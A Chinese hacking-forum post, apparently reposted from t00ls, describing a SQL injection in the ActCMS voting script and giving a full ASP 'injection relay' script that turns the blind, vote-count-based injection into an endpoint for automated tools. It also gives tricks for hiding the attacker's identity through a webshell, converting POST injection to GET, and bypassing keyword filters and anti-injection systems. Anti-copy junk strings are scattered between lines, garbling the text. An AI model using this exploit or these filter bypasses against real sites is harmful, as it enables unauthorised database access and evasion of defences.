中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
) D! b$ j9 w9 w' ^5 Q
看到ninty大牛的blog的一篇文章
: C2 ]) r: B' Z
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
$ R$ c; {3 y5 j
关于actcms漏洞的利用 by 3x qq:381862589
2 H8 a5 N* d% k/ M6 w) P4 Y$ o
转载请注明以上
# A6 c4 F0 S4 j
漏洞文件:
5 q. g4 }, q: C; ]
/plus/vote/vote.asp
) G. j8 m$ @2 [' \; V/ o
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
s" |( {0 |! I- r+ @: v, E
9 ]3 L# z4 v6 t
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
$ E7 Z9 C t/ f0 x5 ^* q
1 l4 D, j" I. ?1 n( N! Z* D
3 response.end
" D, v+ d3 I: m6 K x
$ d' Y% v, O& M0 |# H, a
4 end if
1 k& `& C v6 @, X' T7 @! c
8 e2 g/ L5 _" L+ I/ q1 z' n( O
5 for i=1 to request("voted").count
) A' ]. j j& q9 d7 D
* \) y, o) g, y
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
% C5 P9 I3 Y, }1 M
9 Z+ J. t- K0 ]& ^- B9 v/ u
7 next
6 `2 B5 T$ i. X2 {' p6 n6 ?
- _ Z7 m# z: V4 i$ G% S% J
8....
) V7 s/ m- M) K8 I- Q( h
* a' v0 W" E' T. W" }8 z9 }
9response.Redirect "index.asp?id="&id&""
( ?0 Q8 K, B, m* [
投票结束回跳转回index.asp这个投票结果页面
; t6 a2 X! l' H4 M/ B* n
如果投票成功票数加1
1 s t A( c- q0 L( q1 U
失败票数不变
S1 q& k% Y, E p9 Q; b
如图:
2 R( s2 {* \# r. p) W
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
& z0 O' K0 t' f! P- u) K. j8 h
' H r" n* F4 k9 C" T6 d/ w A
2009-12-27 13:20
7 x8 d( |5 s: q+ H: w8 X' q' B% d, o
, L9 w# C: y' |7 u- C
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 {/ ?; R4 w) ~) t C4 T- R" }
2 ~# Y7 P% Z- y
本帖隐藏的内容需要回复才可以浏览
$ C% }: j+ u6 r; R# @) r
我们用注入中转来实现这个注入具体代码如下:
1 \: |/ ?; p6 y' b
先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 _. N& X i$ x9 V$ |
注入地址:http://localhost/actcms/plus/vote/vote.asp
" ]3 e( O3 h8 b, V- n
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
# h) h, c# H; W8 X" q& H
; R2 _0 ^3 W+ G
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
d+ _! P* r8 b- Y6 A: w/ {. U
2 d2 y: W( a( R' Y/ q' y: L
02JmdcwName=request("jmdcw")
- ^5 z. G& L2 j- w
) J, x) V% j, G) J
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
/ w& m0 w: Y* ?; N
% V7 f. }2 o* R2 @
04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 k& ?" t/ z& f; q: H& g" y/ t6 z
" j' `% m* x; e; g. z
05JmStr=URLEncoding(JmStr)
, b- q! g0 ?3 ~
9 k. h1 S4 i$ j* R' g. c
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
+ |( z7 m3 K! ]$ h3 |' ^. m
W+ A$ U5 {$ x/ `$ v: h
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
1 s( A/ }. ^ P- L
, z# J8 m7 F/ x* U! i( Q
08testurl=testurl & "?" & JmStr
5 r8 O1 Y- T5 k: Y5 f: O
0 Y9 K2 i8 i! m5 i7 l6 r8 Y$ x* J
09JMUrl=JMUrl & "?" & JmStr
; q$ {7 \4 H- J/ N0 N$ g4 g$ |
% [# ]* ]+ o7 p' K- N
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
. E' G; s1 x+ C+ j) y; Y* O
8 O! f; l; K6 t- B/ e$ C3 x y0 Q
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 a5 r' M) t* X# s7 q) z/ Z. V
& T& d _' M0 U8 t' `5 ^! |
12JmCok=replace(JmCok,chr(32),"%20")
. l$ S/ w- ~& @8 T: o U7 n! M, b
+ D* o: c2 Z) r0 d6 s _0 A5 E, X) |& o2 r
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 O, S' `$ T% }9 Z2 R; c
/ a& _1 f2 r9 e8 B' T" h: A1 K
14
1 ?; q1 Y7 s: Z* }6 T# ~2 C L
9 H$ H! ~ w" v4 A" N7 I5 \4 x) e
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
f! H3 y+ g: y; m- @
, v) C! j5 U8 U- L
16
7 ~" {" f& }& A2 `
6 h% d5 R# D, d6 T' l1 I
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' c$ s) y2 u$ M' F4 c: r
4 c1 J( X- B/ n8 L. n s
18response.write test1&""&test2&""
6 c9 C, ~5 Z2 L8 `6 s$ }, n; n; J
; M' l V/ l. B3 O3 g3 T* T1 z
19
4 O0 _, g$ `8 V. _
+ v8 m/ v" K* Z+ K
20if test1=test2 then '如前后记录相等,表示失败
# }9 t1 F P4 X6 k- g$ E
! e1 _0 |! k; o: F1 y# |
21 response.write "failed"
4 C) e- c" U1 X
5 l: ^5 r- |, v L2 l
22else
# p$ G6 j; c1 b0 F
& C4 } c6 e7 q2 _. o8 M2 i' f( \
23 response.write "succeed"
! t+ b/ \- t9 k% ^- N& m& X+ c- n; C
6 N" G, o, O) w8 {5 Y
24end if
# d3 E3 t7 ^% W( r+ w# M- y2 r
! |, b A1 O7 T$ B
25
8 f8 t, B2 a: Y
q5 p/ w0 f9 X, B: i5 N+ _) m" O; X
26response.write "by 3x"
9 J' [0 U4 s& ?- C
W" z# }; `/ B8 L% {) S- }
27
" T1 N0 v; ^- s2 `& U' t3 A
5 @$ E" z) l* ?
28
4 H' @) C/ ]& B# t
! L; y9 v5 z- G8 d
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
* U% t# m6 B9 K& k& @! Z* M
5 z0 D8 W" E" s6 m9 t
30Dim Http
4 f( D4 }: ~" F8 B* F/ [, \" t/ }
7 P& h" ~1 y8 x; _. D, t8 o
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; T- h% \2 Y0 h
3 p3 t' s0 x! P U7 E" }
32With Http
& O3 n/ H! v4 C: n9 s
8 n- r4 ?3 n. t$ Z
33
/ P6 k+ A& w3 ^; C& B; m# Y
7 [" \# m$ m* E/ g; {" _( [( z
34.Open "GET",PostUrl,False
3 s( S1 Y8 U# R4 G( |7 b: q7 u% Q
) a; q1 e) r& l8 g/ L
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
! e& I" f; G8 \) P& _* _
$ z/ C, a; ?4 ?# ~* d2 l
36.SetRequestHeader "Referer",PostRef
6 c. @7 b+ D5 B
& C$ m: X- `3 O% J) s/ e; J* i" w( G
37.SetRequestHeader "Cookie",PostCok
+ W3 V( G9 T! J; t7 k: `
( K" `9 b0 j! {9 r* P# y
38.Send ()
+ e' T4 o8 w+ x6 {& D% S/ D& K
! o' @# Z- J: m& T+ f) J
39PostData = .ResponseBody
# `, L% @" u) `6 \2 n# G
8 @ n. M3 g( X3 p
40End With
6 l5 X4 ?% O3 ^1 o2 b1 m
q7 v$ {2 b" e' F
41Set Http = Nothing
3 R$ z. x+ F! p, D
# I p: M0 z: |9 X+ }- f1 }9 S
42PostData =bytes2BSTR(PostData)
! L# ^* K/ s$ l5 c/ h5 Z
5 f" h- [' ^9 L6 ~. h4 @; N
43End Function
0 @2 f2 d+ E: U2 b
+ b5 U' d- V+ i# Z3 g
44
2 t7 G. S9 T& u/ k/ t" b- Y
" t8 z4 F7 j. j; ~9 X
45
1 m7 r6 `+ C8 {, X( a, ~
: M) }8 f& H4 D7 d: q/ f
46Function bytes2BSTR(vIn)
! _6 h# X! }7 }9 k4 [/ V/ b# Q; C: k
- ~5 `9 T* }0 V" W* D! N* }8 B' M
47Dim strReturn
; S2 p8 ~' \- D' _$ P1 \7 O
U3 P# J8 d, ?. m/ ~* g3 O! ]
48Dim I, ThisCharCode, NextCharCode
; i- M6 \, B3 V6 h% A
- V2 x7 l+ t) M1 w4 i/ c- k5 X
49strReturn = ""
9 }' {, ? O0 x0 C0 K
5 j7 g! I& ?8 b( l3 y4 S% F& @
50For I = 1 To LenB(vIn)
0 H8 @3 e8 h }" ^2 p
! A/ D4 p# ~8 X( v
51ThisCharCode = AscB(MidB(vIn, I, 1))
+ x0 j+ V" v2 `$ {
" e& Z4 a" k: g! u
52If ThisCharCode < &H80 Then
! [! W* S8 v* O. O! C7 I
6 Q8 N, i7 ?8 f# S# d9 c; ?8 ~
53strReturn = strReturn & Chr(ThisCharCode)
, Y: K4 C- `+ j! C
9 A5 d& ]0 f& T' p
54Else
1 A. P5 [" }' q1 J# h4 u- @
+ Y! m6 J% G6 f1 y" p1 a
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. k* G0 h. O- k7 U% d d6 {
" M J7 `* ?/ I) K6 L0 D: G
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) g) o1 Z; i; K# `5 j6 X D
6 U# u w3 J& {, m
57I = I + 1
! L- V$ ~5 r# O7 D. P5 b2 L) `
+ o0 } e3 k! T3 x" j3 h+ b) a
58End If
) k3 c8 v1 N. E0 K& \. r
3 \% Z& G2 Z" ~- w9 L
59Next
! q0 y1 Q4 W: u! c
+ F$ h8 p6 |- K8 w1 A- O+ i, u
60bytes2BSTR = strReturn
1 P, F% z* v) F# x. s' R& e- U
0 E+ { q6 \: ?* l: T
61End Function
8 S& [% F& A% A9 d3 c
5 {4 Y; L; i. `' t
62
4 W0 D' g( Z% |; m6 b
7 i- S, j. C8 ^# @* v1 F; M
63Function URLEncoding(vstrin)
- ^4 B7 {* d/ S% V9 |6 R
2 l- n+ Y. Y: Q9 N" R3 X H# f
64strReturn=""
|. c8 A9 @9 m6 j
! N: K" r4 o- h4 ~7 S! ~& \
65Dim i
9 d/ H+ n+ Q# |
8 Y, L: J- n1 J, m# U1 d
66For i=1 To Len(vstrin)
* y. g& i/ f: F
! E1 F# T& _$ L- y. B7 [
67ThisChr=Mid(vstrin,i,1)
. m+ M7 T3 N9 A8 E9 z4 B
2 b, v* V4 s8 y5 p$ D
68if Abs(Asc(ThisChr))< &HFF Then
7 u& A' o. H- o% f6 S
3 W: s& E3 r2 r5 q( Y" P. P# p- N
69strReturn=strReturn & ThisChr
4 h! g8 n& L/ l, B; [; X" F4 |. I
( z6 |8 Q% H/ Y; S- k
70Else
0 l. {, X: d; d# L
7 S% C% W# T7 p' a
71InnerCode=Asc(ThisChr)
' A- N8 c4 G2 L0 I# J# O; C
7 H5 Q, d! E. E3 `
72If InnerCode<0 Then
1 \8 S ^$ N5 E6 f( \5 c
* ?& m( T: b! y( }* D8 }- L
73InnerCode=InnerCode + &H10000
9 X6 x/ ]. T5 N4 f1 c
4 N& j% ^, @: f0 F2 }
74End If
. P6 l) a! f2 u4 {- l, I! h
) T: b2 [2 t- y2 X. z! F# L: F# u
75Hight1=(InnerCode And &HFF00) \&HFF
1 F/ l/ p6 B4 k! |8 j9 G2 g
; V6 S. r' I4 v& Q% A n% v
76Low1=InnerCode And &HFF
% k% g, P) Q7 n) e
. g) k( y5 K3 `/ d, R& t3 R
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
0 N H2 ` C! ]# H R5 f3 l
& O& v& @* o% W" ?3 ^
78End if
, h3 M5 T, z( U7 T
) O/ f# G7 F1 t# c
79Next
2 e: I4 \/ Z. m( S0 P2 j" G
, Y$ R+ k% d x. r+ l( F
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
[* O% {4 R+ a/ ^1 J, k
* Y3 u# g2 f' d
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
& x/ M' ?! u6 ?( Q2 x9 z5 u
. I. L5 _" v$ B4 w
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
$ V0 Z' @: H3 c5 T5 C; k
' F) h& }* P* q, L$ @6 z
83URLEncoding=strReturn
7 X7 X# O) W% W, @9 w s$ R" k
! w" ~, f. q' Z+ V6 A: J, E+ S
84End Function
9 R7 L0 f. ^$ J
7 X8 }* \. N3 a( w. _( t
85
! H9 C$ k, a* K1 R' [
% p! E2 U4 M0 D5 E3 a1 w
86function getSt(body)
( a7 ?6 S5 t; M+ K, i8 S; e: v
7 n' C! Y }. E. Y" u
87 startpot=instr(body,"投票人数:")+len("投票人数:")
" t7 ?8 v& B$ H0 S
6 ?$ j5 o' q( u8 r3 s7 Y
88 endpot=instr(startpot,body," ")
; p; N+ J3 |9 {' K4 ]
5 p- u/ H% F: ]! c- k4 ?' F
89 getSt=mid(body,startpot,endpot-startpot)
( @8 v5 \0 m( y* M% ]
# {) i4 T# {: ?6 n* a3 g/ r
90end function
: j, d8 r- L' p$ M
& ~7 X/ i: H2 T
91%>
# t/ b1 I4 w$ ^/ k2 ]. p# g
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ U) B1 h- c$ u' ^9 X1 x
测试下效果:
$ ^# Z, v, }1 f+ ?# v
投票成功:
$ F+ R7 Z# _3 U+ y
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
5 Z$ N5 c( \- Y5 H/ T% k% H8 r6 R
$ q: P6 B- f. b! }; |
2009-12-27 13:29
( l5 E" Z5 g3 p" ^! u
投票失败
* c( V, a4 X* j5 t
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
3 ?2 r% i! S# P
2 T$ D) u# O- Q% _! ? s
2009-12-27 13:29
! h" d; L& Q1 G' e0 N4 k
-------------------------------------------------------------------------------
. p* N1 C, K% c- Z- E
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
) ^" f6 `, r( r- S1 |2 v W
很抱歉。。。只能用单线程工具去注入。。。。。
3 `2 {* J9 R6 Z: }, @* d E, W+ e
所以失败。。。不好意思。。。
/ Z: v2 \6 @) g5 w& X
-------------------------------------------------------------------------------
* C( q) \. p6 S( U1 T# t2 D$ M) \
" q: ]) j3 y7 H* L: X2 ?' d
注入中转的一些其他应用
& i* D4 ]% x \/ m; ]5 r% Q
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
! t6 I% r3 V0 r' _6 x. E* G
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
2 T2 x7 P" p. T. h, O1 @# f0 T
2.post注入转成get型的注入,方便我们使用工具来跑
* h% r) y n! H' F
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 L7 x `: f/ l) v( i
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
% }6 Q6 q( C5 Q3 @4 R
: Z1 j& S2 C4 ~% B/ A, G
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2